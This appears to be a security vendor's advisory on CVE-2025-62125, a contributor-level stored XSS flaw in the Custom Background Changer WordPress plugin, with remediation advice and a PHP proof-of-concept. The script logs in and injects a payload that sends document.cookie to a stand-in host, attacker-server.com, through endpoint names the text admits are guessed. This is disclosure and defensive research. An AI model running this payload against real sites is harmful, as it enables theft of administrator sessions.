Atomic Edge analysis of CVE-2025-62125 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Custom Background Changer WordPress plugin version 3.0 and earlier. Attackers with contributor-level privileges or higher can inject malicious scripts that persist in the WordPress database and execute in the context of any user viewing the compromised page. The CVSS 3.1 score of 6.4 (Medium severity) reflects the network attack vector, low attack complexity, and requirement for contributor-level authentication, with scope change indicating impact beyond the targeted component.
The root cause is insufficient input sanitization and output escaping (CWE-79). Atomic Edge research infers the plugin processes user-supplied data through administrative interfaces or AJAX handlers without proper validation. The description confirms inadequate sanitization, but without source code, we cannot identify the exact vulnerable function. Common WordPress plugin patterns suggest the vulnerability likely exists in a settings page, background configuration form, or AJAX callback that accepts unsanitized HTML/JavaScript input and stores it directly in the database.
Exploitation requires contributor-level WordPress access. Attackers would authenticate, then submit malicious payloads through plugin-specific interfaces. Likely vectors include AJAX actions like ‘custom_background_changer_update’ or admin POST endpoints. A typical payload would be alert(document.cookie) injected into parameters controlling background settings, custom CSS, or image URLs. The stored payload executes when administrators or other users view pages containing the compromised background configuration.
Remediation requires implementing proper input validation and output escaping. The plugin should sanitize all user inputs using WordPress functions like sanitize_text_field() or wp_kses() before database storage. Output must be escaped with esc_html() or esc_attr() when rendered. WordPress nonce verification and capability checks should also be present to prevent CSRF and unauthorized access. A patch would involve adding these security measures to all data processing functions.
Successful exploitation allows attackers to steal session cookies, perform actions as authenticated users, or deface websites. With contributor privileges, attackers can inject malicious scripts that execute when administrators view plugin settings, potentially enabling privilege escalation to administrator accounts. The stored nature means a single injection affects all subsequent visitors to the compromised page until the payload is manually removed from the database.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-62125 - Custom Background Changer <= 3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2025-62125
* Assumptions based on WordPress plugin patterns:
* 1. Plugin uses AJAX handlers or admin POST endpoints
* 2. 'action' parameter maps to plugin-specific AJAX hook
* 3. Contributor-level users can access the vulnerable endpoint
* 4. Payload is stored in WordPress database and executed on page load
*/
$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS
$username = 'contributor_user'; // Contributor account
$password = 'contributor_password'; // Contributor password
// Payload to steal administrator cookies
$payload = '<script>var i=new Image();i.src="http://attacker-server.com/steal?c="+encodeURIComponent(document.cookie);</script>';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Check login success by looking for dashboard elements
if (strpos($response, 'wp-admin') === false && strpos($response, 'Dashboard') === false) {
die('Login failed. Check credentials.');
}
// Attempt exploitation via likely AJAX endpoint
// Common WordPress plugin pattern: admin-ajax.php with plugin-specific action
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'custom_background_changer_save', // Inferred action name
'background_settings' => $payload, // Injected parameter
'nonce' => 'bypassed_or_missing' // Nonce may be missing or bypassed
]));
$response = curl_exec($ch);
// Alternative: Try direct admin POST handler
if (strpos($response, 'error') !== false || strpos($response, 'invalid') !== false) {
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-post.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'update_custom_background',
'custom_css' => $payload,
'page_id' => '1' // Target page ID
]));
$response = curl_exec($ch);
}
curl_close($ch);
// Verify payload storage by checking if script appears in page source
$check = file_get_contents($target_url . '/?p=1'); // Assuming page ID 1
if (strpos($check, '<script>') !== false && strpos($check, 'attacker-server.com') !== false) {
echo 'Payload likely injected successfully. Check attacker server for cookies.';
} else {
echo 'Injection may have failed. Actual endpoint/parameters may differ.';
}
?>
